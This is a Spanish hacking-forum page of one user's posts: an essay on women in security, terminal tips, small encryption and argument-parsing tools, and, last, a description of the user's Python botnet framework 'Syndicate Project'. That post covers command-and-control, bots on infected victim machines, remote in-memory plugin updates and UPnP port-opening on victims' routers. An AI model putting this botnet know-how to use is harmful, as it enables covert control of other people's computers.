Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - DtxdF

#861
Depende de lo que quiera lograr, por ejemplo si no desea montar su propia empresa, sí, podría realizar lo que usted mismo se propone, pero sí quiere ir más allá, le recomiendo este artículo que explica mucho más: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

~ DtxdF
#862
Off Topic / Re:Tu granito de arena...
Diciembre 08, 2019, 09:19:16 AM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Muchas gracias por compartir una parte de su historia, por apoyar y por la confianza que brinda al foro. Es excelente que apoye ésto.

~ DtxdF
#863
Off Topic / Tu granito de arena...
Diciembre 08, 2019, 08:16:09 AM
Antes de continuar, no quiero que pienses que quiero causar una polémica, no quiero difundir odio, ni miedo, ni tristesa, nada de eso, al contrario, las palabras que hoy haré referencia pertenecen a Sheila A. Berta desde su mismo blog "You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login".

Lo que voy a hacer referencia es sobre un problema que lo sostienen las mujeres de este mundo y cómo ella misma me dijo que es excelente poner nuestro granito de arena, para ir mejorando poco a poco, espero que ustedes también lo hagan.

Ella y yo, estamos en total acuerdo en dos cosas. La primera es que para el entorno Informático es algo pesado o difícil para una mujer y la segunda es que ha estado mejorando con el tiempo todo eso, pero muy poco a poco.

Ahora sí, continuemos...



En la nota de reset que escribí hace un tiempo, les conté que hace 12 años que me dedico a la seguridad informática. En ese entonces, cuando empecé, no había carreras, diplomaturas ni cursos sobre este tema (al menos no accesibles para mí), por lo que mi forma de aprender fue exclusivamente de manera autodidacta leyendo en foros de hacking a aquellas personas que afortunadamente compartían sus conocimientos con los demás.

Para acceder a estos foros, era necesario crearse un usuario, todos teníamos nuestro nickname (y de hecho, varios de los colegas con los cuales mantengo amistad hasta el día de hoy los conocí inicialmente por su apodo en los foros "underground" y no por su nombre real). Mi primer nickname fue femenino, es decir, que me identificaba como mujer; lo mantuve por 2 años hasta que me cansé de las críticas y pasé a registrarme en los foros con un nuevo usuario, utilizando un apodo masculino. ¿Qué críticas recibía? La mayoría me atacaba diciendo que en realidad no era mujer (es que no había mujeres en aquellos foros) y me decían que seguramente yo era un hombre utilizando un apodo de mujer para atraer a otros hombres y así supuestamente lograr que me compartan conocimientos y exploits/herramientas privadas; por ello recibía muchos insultos, entre otras cosas. Hoy lo redacto y me río, pero en aquel entonces fue bastante abrumador, tan así que como dije, desaparecí mi usuario real y me creé otro identificándome como hombre y así pude estar tranquila durante varios años.

En algún punto que tuviera que ser así me afectó un poco, porque me obligó a un aislamiento que no era bueno, en el sentido de que por muchos años me perdí la posibilidad de interactuar en el entorno real con otros colegas (por ejemplo en eventos) y aprender de ellos. Yo sabía de la existencia de las conferencias de seguridad en mi ciudad, pero no iba, sabía que si iba estaría sola y pensaba en que quizás recibiría las mismas agresiones que recibía virtualmente cuando me identificaba como mujer, así que huía a la participación. 7 años después apareció alguien en mi camino (o yo en el de esa persona, no lo sé) y me insistió en que fuera, que iba a estar ahí para cuidarme y no pasaría nada. Finalmente fuí y apartir de ahí comencé a incluirme y participar en las conferencias y meetups de infosec de mi ciudad, y de otros países también :)

Hoy todos me conocen por mi nombre real, saben quien soy y -dejando de lado algún que otro caso aislado- recibo un gran respeto y cariño por parte de toda la comunidad. Sin embargo hay algo que persiste en el tiempo, y es que seguimos siendo muy pocas mujeres dedicadas a seguridad informática; aunque por supuesto hay muchas más que hace 12 años atrás, se sigue notando la ausencia en las empresas, en los eventos, en los cursos, etc. La ausencia de mujeres se percibe en todo IT, aunque en un área tan específica como infosec se siente bastante más. Varias veces leí que las mujeres en seguridad informática son menos del 10% del total de especialistas en todo el mundo, pero bueno, no vamos a hablar de las deprimentes estadísticas ahora, no hace falta, creo que todos somos conscientes de la falta de mujeres en estas áreas.

Para combatir esto e incrementar la participación de mujeres en IT, se han armado muchísimas iniciativas en todas las diferentes áreas, principalmente en programación y sysadmin. Las inciativas se enfocan en incentivar, capacitar e insertar a las mujeres en el mercado laboral. Son las tres cosas fundamentales: para que haya más mujeres en IT hay que incentivar a aquellas que puedan tener interés en desarrollarse en alguna de estas áreas; acto seguido hay que ayudarlas a capacitarse, muchas veces esto viene en forma de becas o cursos gratuitos para ellas impartidos por diferentes organizaciones; por último abrir los caminos para que logren insertarse en el mercado laboral y seguir progresando.

Después de leer la historia, mi historia, con la que abrí esta nota, me gustaría que todas esas iniciativas para incluir a más mujeres en IT te parezcan tan geniales como me parecen a mí. Pero sé que no es así, y me duele ver como muchas de todas estas iniciativas son fuertemente criticadas por un gran porcentaje de hombres (e incluso por algunas mujeres también).

Las peores críticas recaen sobre las capacitaciones exclusivas para mujeres, sobre las facilidades para acceder al conocimiento. He leído infinidad de comentarios diciendo "No me dejan participar de la capacitación por ser hombre, me están discriminando", "¿Se imaginan si se hiciera un curso exclusivo para hombres? Sería un bochorno, ¿Por qué para ellas si lo hacen y dicen que está bien?", "Si quieren que haya igualdad no debería ser así" y un largo etcétera.

Sin lugar a dudas, si en IT existiera hoy en día la paridad de género y en todas las áreas hubiera un 50% de hombres y 50% de mujeres, las actividades exclusivas para un género u otro estarían discriminando al sexo opuesto. Pero esto no es así, entonces debemos ubicarnos en el contexto que corresponde, estamos hablando de una minoría que requiere ser ayudada.

En IT, y especialmente en seguridad informática, las mujeres son una minoría, esto significa: "Parte de un conjunto o grupo que representa el porcentaje menor o más pequeño de todo el conjunto o grupo." Si el caso fuera al revés, y la minoría en IT fueran los hombres, sería necesario aplicar todas las mismas iniciativas para ellos: incentivarlos, capacitarlos e insertarlos en el mercado laboral. Si esto fuera así y se realizaran capacitaciones exclusivas para mujeres -siendo los hombres la minoría- sería absurdamente discriminador, y en lugar de incentivarlos a incluirse en el área los estaríamos alejando cada vez más. ¿Se entiende la diferencia? Una minoría necesita ser ayudada por toda la comunidad, una de las mejores formas de lograrlo es brindándole facilidad de acceso al conocimiento. En el caso de las mujeres, el hecho de que existan capacitaciones exclusivas para ellas resulta de enorme ayuda ¿Por qué?

Por varios motivos, siendo hombre seguramente habrás notado en todos los cursos que asististe, que casi no tenías compañeras mujeres ¿Verdad? (y si nunca has asistido, puedes buscar fotos de cualquier curso presencial de infosec donde verás 1, 2 ó ninguna mujer). Sin embargo, cuando se ofrece una capacitación exclusiva para ellas, el cupo se llena, a veces rebalsa (caso BlackHoodie, con más de 700 alumnas en una capacitación de reversing). ¿Te preguntaste por qué ellas no van a capacitaciones mixtas pero si a capacitaciones exclusivas? Regresemos un momento a mi historia, hago cita de esta parte:

"por muchos años me perdí la posibilidad de interactuar en el entorno real con otros colegas (por ejemplo en eventos) y aprender de ellos. Yo sabía de la existencia de las conferencias de seguridad en mi ciudad, pero no iba, sabía que si iba estaría sola y pensaba en que quizás recibiría las mismas agresiones que recibía virtualmente cuando me identificaba como mujer, así que huía a la participación."

Muchas veces es la incomodidad de sentirse sola en el aula, lo que evita que las mujeres se inscriban. Pero no solo eso, sino también contemplar la posibilidad de recibir una burla, agresión o crítica, como por ejemplo ocurrió la semana pasada en la Universidad de Canterbury, cuando el profesor Ray Hunt se dirigió a la única mujer del aula y le dijo que el ataque de "Man-In-The-Middle" se llama "Man..." por que las mujeres no pueden hackear. Luego la chica se puso a llorar, y no por la mera frase en sí, es que va más allá, es la angustia de percibir el rechazo después del enorme esfuerzo de animarse a estar allí aunque estés sola.

El sentir la propia desigualdad hace que muy pocas mujeres se animen a participar de capacitaciones mixtas. En el trabajo muchas mujeres sienten que deben demostrar más que los hombres para ser respetadas, en los cursos ocurre lo mismo, muchas mujeres son tratadas como que "entienden menos" que el resto de los alumnos hombres, y ante eso el temor a equivocarse en una práctica y ser doblemente criticada se vuelve terrible.

Los motivos son innumerables, por eso es comprensible que los cursos exclusivos se llenen de mujeres mientras que en los mixtos muchas veces ni siquiera hay. Es triste que sea así pero esto va a ayudar a que de a poco dicha situación cambie. Al capacitar a las mujeres no solo les brindamos conocimiento sino también confianza en si mismas, la confianza les permitirá luego afrontar los desafíos de incluirse en la comunidad y de participar de actividades y capacitaciones mixtas aún cuando todavía sigan siendo una minoría.

Esperamos que finalmente se pueda lograr la paridad de género en todas las áreas de IT y estas iniciativas de inclusión puedan quizás dejar de ser necesarias, pero mientras tanto debemos apoyarlas.

Ojalá con esta nota haya podido ayudar a comprender a al menos una persona, por qué existen hoy en día actividades exclusivas para mujeres en IT, por qué son necesarias, por qué no están mal cómo muchos critican y por qué hay que brindarles soporte.

Gracias por leer!
Sheila A. Berta


Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

~ DtxdF
#864
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Cómo siempre, muy buenos aportes +1  ;D
#865
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

¡Hola!. Los famosos logos se llaman "ASCII Art" y puedes encontrar muchos por la WEB.

La siguiente página te permite convertir un Texto simple a un ASCII Art:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

En metasploit aveces te aparece una vaca. Puedes probarla tú mismo desde la terminal ejecutando, por ejemplo:

Código: bash
echo "Hello ronluas, My name is DtxdF" | cowsay


OJO: Primero debe instalar la aplicación:

Código: bash
sudo apt-get install cowsay


Ahora veamos los pensamientos de la vaca:

Código: bash
echo "¿Cómo soy hacker?" | cowthink


Vemos el pensamiento de la vaca, pero vamos a cumplirle su deseo e instalemos "cmatrix":

Código: bash
sudo apt-get install cmatrix


Ejecutamos:

Código: bash
cmatrix


Listo, convertimos a la vaca en "Hacker" de Hollywood :D

Espero te sirva :'D ...
#866
Dudas y pedidos generales / Re:Hacking phone
Diciembre 04, 2019, 08:39:02 PM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Además de lo que dice nuestra compañera, puede ser tanto motivos de malware cómo una simple broma (o los dos).

Tiene que tener en cuenta los lugares que ha visitado por la web y también las aplicaciones que haya descargado, teniendo en cuenta sí proviene de fuentes desconocidas o sí la aplicación proviene de una fuente conocida y legitima, pero esta está infectada; puede leer las algunas noticias para verificar cuáles son las que lo están.

Intente llamar a ese número desde un teléfono "de calle" o uno cualquiera que no le pertenezca a usted o a alguien de confianza, para evitar daños y muy importante, no conteste hasta que no puede escuchar la voz de la otra parte, para tratar de detectar quien puede ser.

Verifique que aplicación consume más recursos y recursos de red.
#867
Dudas y pedidos generales / Re:Pwn phone
Diciembre 04, 2019, 08:29:27 PM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Investigando un poco conseguí ésto:

1. Busque en Google usando el siguiente filtro/comando "pwn phone You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login rom"

2. Conseguí "5" resultados, entre ellos está este post y el más significativo: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

3. Leyendo un poco el mensaje que voy a citar acontinuación, explica que "Pwn Phone" sólo es un "Kali Nethunter" disfrazado. Sí usted consigue una ROM actualmente de años anteriores tendrá algunos problemas, es recomendable usar Kali Nethunter, por muchos motivos.

Citar*** UPDATE*** ( OCT 26, 2019 ) ***UPDATE***

This rom is next to impossible to find, I got ahold of one of the lead devs @ pwnie and it's just gone .... even if someone out there has a build , it would be mainly inoperable due to underlying kali packages and updated/ conflicting repositories etc.

I wanted it purely for a novelty , but it looks like a no go. For those of you unaware, (like i was) The pwn phone is/was just a fancy user friendly ( GUI ) of Kali Nethunter the apps you see on the phone are just png images linking you to terminal .

if i'm wrong about any of this someone please correct me , but this is the information i gathered from my research
#868
Dudas y pedidos generales / Re:problema con python
Diciembre 03, 2019, 04:27:49 AM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Debes dejar el error completo, no sólo el archivo y la línea en dónde ocurrió.
#869
Combo



Combo es una pequeña herramienta para cifrar/descifrar archivos usando el algoritmo de Shalom

Una simple instalación

Código: bash
git clone https://github.com/DtxdF/combo
cd combo
./combo.py -h


Ejemplos

Para ver la ayuda

Código: bash
./combo.py -h

  Opcionales:
  ----------

    -h, --help              Mostrar ayuda y sale

  Parámetros principales:
  ----------------------

    -M, --method            Cifrar o Descifrar los datos del archivo. Usé "encrypt" para cifrar y "decrypt" para descifrar
    -f, --file              Archivo objetivo

  Seguridad:
  ---------

    -increment              Incrementar la clave con un byte; se necesita el rango, puede seguir la sintaxis: <byte>,<limite>. Pre-determinado: ('\x00', 500)
    -random                 Usar el algoritmo de shuffle para ordernar al azar el mapa de caracteres
    -index                  El indíce para mover parte del mapa de caracteres según la especificación de Shalom. Pre-determinado: -6
    -rest                   El resto de diferencia según la especificación de Shalom. Pre-determinado: 6


Para cifrar un archivo

Creó el archivo a cifrar:


Código: bash
cat > test.txt
Hello Friend.


Lo cifro:

Código: bash
./combo.py -f test.txt -M encrypt


Vemos el contenido del archivo:

Código: bash
cat test.txt

- [-1466, 1511]
- [-2481, 2526]
- [1982, -1872]
- [-1619, 1736]
- [-3082, 3204]
- [-3941, 4050]
- [2195, -2069]
- [-3932, 4065]
- [2305, -2261]
- [4237, -4101]
- [-1892, 1914]
- [3172, -3128]
- [-3301, 3345]
- [2990, -2893]
- [-3043, 3103]
- [-4107, 4219]
- [-4281, 4380]
- [2056, -1945]
- [-4029, 4091]
- [-3224, 3310]
- [-1834, 1918]
- [2978, -2887]
- [-1687, 1770]
- [-4381, 4493]
- [613, -518]
- [1556, -1446]
- [2936, -2817]
- [-4491, 4615]
- [294, -163]
- [-1449, 1548]
- [767, -647]
- [-761, 872]
- [-3199, 3260]
- [3295, -3186]
- [-1008, 1068]
- [4597, -4465]
- [3957, -3835]
- [4819, -4709]
- [845, -711]
- [-2478, 2538]
- [-2874, 2947]
- [-2405, 2427]


Tu archivo puede tener un contenido diferente

Ahora para descifrarlo:


Código: bash
./combo.py -f test.txt -M decrypt
cat test.txt
Hello Friend.


Puede tardar un poco sí es un archivo de gran tamaño

~ DtxdF
#870
argprogrammer

Argprogrammer es una pequeña libreria para el control de los argumentos proporcionados por el usuario.

Instalación

Argprogrammer es fácil de instalar y no requiere de librerias externas

Código: bash
git clone https://github.com/DtxdF/argprogrammer.git
cd argprogrammer
python3 # o python


Compatibilidad con Python2.x y Python3 :'D

A argprogrammer no le importa sí estás usando la versión 2 o 3, puedes usar todas sus funciones sin problemas

Tutorial

Te muestro un pequeño tutorial para crear nuestra primera aplicación de forma fácil y sencilla

Código: python
import argprogrammer

group_optionals = 'opcionales'

parser = argprogrammer.Parser()

parser.add(['-h', '--help'], 'help', 'Mostrar ayuda y sale', group=group_optionals)

parser.add(['-t', '--text'], 'text', 'El texto a mostrar', require=True)

args = parser.parse_args()

text = args.text

print('Texto: %s' % (text))


Sí ejecutamos en la terminal: "python o python3 <script>.py -h o --help", veremos ésto:

Código: text
  Parámetros principales:
  -----------------------

    -t, --text          El texto a mostrar

  opcionales:
  ----------

    -h, --help          Mostrar ayuda y sale


¿Eso es todo?

NO, además podemos especificar el tipo de dato y si lo requerimos o no.

Código: python
import argprogrammer
import requests

group_optionals = 'opcionales'

parser = argprogrammer.Parser()

# Opcionales

parser.add(['-h', '--help'], 'help', 'Mostrar ayuda y sale', group=group_optionals)
parser.add(['-v', '--verbose'], 'verbose', 'Activar modo verboso', action=True, type=bool, group=group_optionals)
parser.add(['-H', '--headers'], 'headers', 'Cambiar los encabezados predeterminados', type=dict, group=group_optionals)

# Requeridos

parser.add(['-u', '--url'], 'url', 'Dirección URL', require=True)

args = parser.parse_args()

url = args.url
verbose = args.verbose
headers = args.headers

if (verbose):

print('Haciendo una petición a: {}'.format(url))

print('Datos obtenidos: {}'.format(requests.get(url, headers=headers, verify=False).text))


En la terminal podrias ejecutar la siguiente sentencia para ver algunos de tus datos cómo el "Agente de Usuaro":

Código: bash
python3 <script>.py -u https://www.whatsmyua.info/api/v1/ua -v -H "User-Agent=Hello Friend :D"


Te lo muestra en formato: JSON

Podemos hasta incluso hacer que el usuario ingrese sólo algunos datos en un parámetro:

Código: python
import argprogrammer

group_optionals = 'opcionales'

parser = argprogrammer.Parser()

# Opcionales

parser.add(['-h', '--help'], 'help', 'Mostrar ayuda y sale', group=group_optionals)

# Requeridos

parser.add(['-fruta'], 'fruta', 'Que te gusta comer entre: manzana, durazno, patila', uniqval=['manzana', 'durazno', 'patilla'], require=True)

args = parser.parse_args()

fruta = args.fruta

print('Te gusta comer: {}'.format(fruta))


Código: bash
python3 <script>.py -fruta patilla
Te gusta comer: patilla


En caso de que el usuario no ingrese un valor correcto se muestra lo siguiente:

Código: bash
python3 <script>.py -fruta banana
<script>: El valor "banana" no está permitido debido que no es igual a este/estos valor/es "manzana, durazno, patilla"


Se puede personalizar ese mensaje, tranquila/o

Tipos de datos

Argprogrammer acepta algunos tipos de datos, cómo:


  • tuple
  • list
  • str
  • int
  • range
  • dict
  • hex
  • float
  • hex
  • oct

Tal vez pienses, "¿Algunas cosas que mostraste no son funciones?", Sí, en Python, en argprogrammer No.

Objetivo

Es sólo una pequeña libreria que codifique para un proyecto personal y que comparto con la comunidad, no creo que se compare con "argparse" pero puede que sirva.

~ DtxdF
#871
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

¿No tienes un dispositivo cómo una camara o un teléfono que te dé apoyo?
#872
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
te refieres a la extensión del archivo de video con lo de formato ?

No, aunque podria ayudarlo a identificarlo.

La extensión no es más que un identificador para algunas aplicaciones, aunque esto sólo sucede en algunos SO, cómo es el caso de Windows, mientras que en Linux, usted podría ejecutar algo así:

Código: bash
./herramienta.sh


o

Código: bash
./herramienta


Claro que tendria que cambiarle el nombre, pero no hablare de éso.

Tiene que probar si el vídeo que le mandan se puede ver en otros sistemas operativos y en varias aplicaciones. Debe verificar incluso si el archivo no está atrofiado.

Extra:

Los códecs (Codificador/Descodificador) tiene que ver con la compresión algoritmica para que el vídeo se reproduzca de una u otra manera, con mejor velocidad, visualización, etc.

En el caso de que no lo tenga, tendra que verificar cual es el que le falta e instalarlo, pero es muy raro que le falte lo antes mencionado, porque generalmente los sistemas ya traen muchos.

Sobre mi problema con el códec que tuve hace tiempo, es porque era un formato de vídeo muy poco usado.
#873
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Creo que hay varias veces que he visto su error, pero podria dejar una captura de pantalla para ver si la comunidad le puede ayudar.
#874
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Tuve un problema parecido, hace tiempo pero era por un codec que me faltaba. Deberias revisar el formato inclusive.
#875
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Lo que te dire, sólo es una opinión personal, no te lo tienes que tomar enserio o tal vez sí, depende de ti y también te digo que yo no soy un experto, sólo soy un chico que le apasona este mundo.

Los framework's, no debes usarlos a menos que tú sepas que están haciendo en verdad y aunque eso fuera cierto, tampoco lo recomiendo.

Sí tú eres una persona que tiene experiencia en un lenguaje de programación o en varios (da igual) no deberias depender de ellos o por lo menos no usarlos o con muy, pero muy, poca frecuencia. Nosotros (los seres humanos) si hacemos una cosa muchas veces acostumbraremos a nuestro cerebro a realizarla de forma casi "Automatica", dependeras de lo aprendido y olvidaras lo que a tu cerebro no le parezca importante.

Además, no obtendras el 100% o cuanto mucho el 99% de control de tu propia aplicación "¿Que pasa si deseas ejecutar aunque sea una snippet de código antes de ejecutar otro?", -Fácil, simplemente edito el código del framework y listo-, bien podrias hacerlo, pero ¿realmente es una buena idea?.

Otro punto a aclarar no sólo dependerias de todas la caracteristicas que ofrece, también los bugs; cierto, lo sé, se que estos frameworks están muy bien hechos, pero ninguna aplicación es perfecta, así que dependerias de un desarrollador para terminar tu aplicación o corregir ese bug tan molesto.
#876
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Depende mucho la información que contiene y de la aplicación que recurra a la base de datos.

Por ejemplo, podemos tener una base de datos con la siguiente información: Número de veces que el usuario uso la aplicación y la fecha; para estos casos no es tan necesario cifrarla. Cuando sí es necesario es cuando hay información sensible cómo: Nombre de usuario y Contraseña; incluso cuando usamos una función hash para la contraseña y dejamos el usuario en texto plano, simplemente porque se podría hacer fuerza bruta, pero depende del desarrollador.

Sí es para un entorno local, cómo dije antes depende mucho del contexto, pero ¿te imaginas que accedieran a tu sistema?. Puedes ver un claro ejemplo de GnuPG, que cifra además la base de datos local para mayor seguridad.
#877
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Lo que usted hizo fue un ataque de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Los router's modernos y no tan modernos, lo bloquearían facilmente.

Respecto a los ataques de denegación de servicio (DoS) y servicio distribuido (DDoS). Puede haber cientos de formas de hacer un ataque de este tipo, puede observar algunos tipos desde You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (No se conforme sólo con ésa)

Mayormente lo que pasa con esos "programitas" son muy rapidos y fáciles de arreglar la tecnica que utilizan. No creo que tenga éxito en su acto con esa herramienta y mucho menos si no tiene conocimiento o está empezando.

Sí no sabe por donde leer, le digo que tiene "Internet" para hacerlo, pero si quiere un indicio de este libro tan grande de información, puede optar por un Lenguaje de Programación; cómo lo que dice el compañero @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, Python es buen lugar para empezar.

~ DtxdF
#878
Syndicate Project



Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Syndicate Project es un proyecto que te simplifica la creación de botnet's, totalmente escrito en Python (3); así es, puedes crear cientos o miles.

Plataformas:


  • Lamentablemente sólo la probé en Kali linux, pero puede experimentar en otras plataformas.
  • Recomiendo que si usted va a probar Syndicate en Windows, use Cygwin o WSL, aunque no le garantizo nada.
  • En Android técnicamente debería funcionar con Userland, aunque Tmux no es mala elección.

Instalación:

Primero clonamos el repositorio:

Código: bash
git clone https://github.com/DtxdF/Syndicate
cd Syndicate


Y luego instalamos los...

Requerimientos:

Puede optar por una fácil instalación con PIP, pero hay algunos inconvenientes que dependen de usted

En primer lugar, lo que si es necesario ejecutar es You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login:

Código: bash
python3 -m pip install -r requirements/requirements.txt


En el archivo podemos encontrar:

Código: text
PySocks==1.7.1
pycryptodome==3.9.4
PyYAML==5.1.2
pager==3.3
requests==2.22.0
urllib3==1.25.7
certifi==2019.9.11
chardet==3.0.4
idna==2.8
pyperclip==1.7.0


Estos son los requerimientos para que funcione lo más principal de Syndicate, mientras que para los complementos se tendría que seguir los siguientes pasos, no obstante no es necesario instalar para las funcionalidades anteriormente mencionadas, esto sirve para aumentar el poder...

Código: bash
python3 -m pip install -r requirements/requirements.complements.txt


En el archivo podemos encontrar:

Código: text
requests==2.22.0
pynput==1.4.5
six==1.13.0
python-xlib==0.25
pygame==1.9.6
mss==4.0.3


Un último requerimiento para los complementos predeterminados sería "PyAudio", pero esto requiere un poco más de su colaboración:

En el caso de Windows:

Seleccioné la versión correspondiente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

En mi caso es: PyAudio‑0.2.11‑cp37‑cp37m‑win32.whl

Mientras que en Linux:


Código: bash
sudo apt-get install libasound-dev portaudio19-dev libportaudio2 libportaudiocpp0
sudo apt-get install ffmpeg
sudo pip install PyAudio==0.2.11


Usted se estará preguntado: ¿Windows?, ya mencionaste que sólo funciona en Linux, Claro, estos requerimientos son para los complementos dependiendo del SO a atacar.

Una vez hecha la instalación, vamos con lo bueno...

Importante:

Antes de continuar quiero aclarar unas cosas...

En Syndicate Project prefiero tener sinonimos para algunas cosas:


  • Evie: El servidor root; centro de comando y control; servidor inicial o nodo inicial
  • Rook: El bot cliente
  • Jacob: El administrador que mantiene al Rook
  • Administrador del servidor: Es el que se encarga de crear, asignar privilegios, configurar y mucho más, para un correcto funcionamiento

Caracteristicas:

Tratare de englobar todas las caracteristicas posibles de Syndicate, espero no me falte nada :)...


  • Mutiples conexiones a la vez
  • Cifrado hibrido en las conexiones. Usando AES256 y RSA a nuestro favor podremos cifrar nuestras comunicaciones oficiales entre Evie's (Servidor), Jacob's (Ciente-Administrador de los Rook's) y Rook's (Cliente-bot).
  • Cifrado simétrico en las bases de datos, tanto de Evie, como la de los rook's. Aunque en los accesos públicos también se usá el mismo esquema.
  • Red punto a punto. La red de los Rook's, no es igual a la de los Evie's, aunque puede haber comunicación entre ellas.
  • Multi-usuario. El administrador del servidor se encarga de crear tanto usuarios Jacob's cómo Rook's con sus respectivos privilegios.
  • Compartir Rook's (Bot's) entre Evie's (Servidores). -Cómo una red social :D-
  • Comunicación por nodos o lo que quiere decir, que creando una red entre Evie's puede hacer pasar cada paquete a una dirección o podría decirse nodos intermedios hasta llegar a un punto final o nodo final (Que vendría siendo otro Evie). La red está diseñada para que no se pueda saber que dirección envío qué y dónde, exceptuando algunas cosas que ya explicaré después y además se tiene que configurar toda la red manualmente; eso brinda más seguridad.
  • Uso de proxies para mayor privacidad (Tanto en los Evie's, Rook's y Jacob's).
  • Sistema antí-fuerza bruta. Es relativo. Relativo según las configuraciones que ejerce el administrador y el mismo usuario. porque el administrdor decide cómo Evie, va a bloquear a un usuario, cuándo y porqué. Dejaré la explicación más adelante.
  • Los complementos se pueden actualizar de forma transparente o lo que quiere decir, que sí tenemos una máquina infectada podremos cambiar el código desde el servidor y ejecutarlo en la máquina correspondiente.
  • Además del cifrado que viene incorporado, podemos agregarle una capa más con https
  • Puedes crear tu propia forma de comunicarte, por lo tanto tiene dinamismo.
  • Los complementos le temen al disco duro, prefieren quedarse en memoria.
  • En el lado de los rook's podemos hacer que el router de la victima abra un puerto con UPnP (Sí está disponible)

Nota: Los privilegios sólo son válidos para los Jacob's

Tipos de configuración


  • Configuración Dinámica: Este tipo de configuración puede cambiar en plena ejecución de Evie dependiendo de lo que haga el administrador del servidor.
  • Configuración Estática: También se puede llamar configuración global, porque en la mayoría de utilidades, herramientas y todo lo que tenga que ver con Syndicate la utiliza; además esta no cambia en plena ejecucion.

Tipos de usuario

En Syndicate Project trato de implementar diferencias entre usuarios para simplificar las explicaciones; en el proyecto se puede encontrar cuatro tipos de usuario:


  • Administrador del servidor: El administrador del servidor es una pieza obligatoria para armar el tablero. Éste se encarga de crear, configurar, manejar y mucho más, de lo que tenga que ver con el funcionamiento interno de Syndicate.
  • Jacob: Él es el cliente-administrador de los rook's. Jacob podrá controlar tantos rook's cómo el Administrador del servidor desee.
  • Rook: El cliente-bot que se encarga de hacer lo que le pida Jacob
  • Public: Yo no diría que es un usuario en sí, se podría decir que es un cliente que quiere usar nuestros servicios públicos. Entre los cuales están:


    • getPubKey: Obtener la Clave Pública de Evie; Puede tener muchos fines esta operación, pero la más importante es cuando compartirmos un rook.
    • saveData: Guarda los datos de perfil del rook
    • resend: Re-envía datos a otro nodo, tanto un nodo final como podría ser un nodo intermedio
    • sendSOS: Comunicación estilo correo electrónico entre Evie's (Incluso envío de archivos)

Nota: Los servicios públicos se pueden bloquear desde el archivo de configuración dinámico

Aclaraciones:

Tengo que explicar algunas cosas que iré mencionando poco a poco a lo largo de este documento:


  • Redirector: Es un Rook que pasa hacer un servidor (No un Evie) dentro de la máquina infectada; consiste en crear un servidor capaz de recibir datos, almacenarlos en una base de datos cifrada dentro de la misma máquina victima, para que luego el administrador del servidor, pueda conectarse, descargar los datos y simular ser Evie, con el único fín de obtener un resultado y enviarselo a un rook de forma transparante o como si no fuera sucedido nada.

    El redirector es buena opción, cuando deseas crear un "Backup" dentro de las máquinas infectadas ¿Por qué?, ¿Te imaginas que tu servidor central cayera? y luego cuando lo vuelvas a levantar ya es muy tarde, no tienes como recuperar la perdida de datos; hay es cuando entra redirector al rescate. Claro que necesitas abrir un puerto en el corta fuegos de la victima. Syndicate se encarga de crear la conexión, tú te encargas de todo lo demás.
  • Hash dinámico: En syndicate se usa un Hash dinámico, para hacer todo lo posble para evitar un ataque de fuerza bruta o por diccionario, usando iteraciones, Número de seguridad, Número de disminución y Caracteres de seguridad; todo esto tiene que ver con el algoritmo utilizado, pero haciendo una aclaratoria:

    • Iteraciones: Las iteraciones son el número de veces que se repite el proceso.
    • Número de seguridad: El número de seguridad se multiplica primero por el mismo y el resultado se usa para delimitar la ofuscación de caracteres de seguridad y luego en la siguiente iteración (Si es que la hay) disminuye usando el número de disminución.
    • Número de disminución: El número de disminución se encarga de disminuir el número de seguridad por cada segunda iteración.
    • Caracteres se seguridad: Los caracteres de seguridad se codifican a base64 y se "parten" y ofuscan usando el número de seguridad y disminución, para luego sumarlos con el resultado verdadero, que quiere decir, el hash.

    Nota: El hash usa la siguiente función: sha256( sha512( string ).digest() ).hexdigest()
  • Token de Acceso: Usado para verificar que tenga acceso público al sistema y cifrar los datos, posteriormente se usaría algún servicio antes mencionado.
  • Clave secreta: La clave secreta cifra algunos datos (Cómo la dirección URL de los nodos) antes de usar "resend" o un reenvio de paquetes en una red, porque que si llega a hacer interceptada, no se pueda "leer" esos datos, por eso su nombre, ésta sólo se debe compartir con las personas de confianza, igual que pasa con el token de acceso.
  • Clave única: La clave única es una clave generada aleatoriamente en la creación de un nuevo Jacob, es importante darsela al administrador correspondiente, porque gracias a ella puede acceder.

    La clave única cada vez que inicie sesión, cambiará, eso es para mantener aún más seguro la estructura.
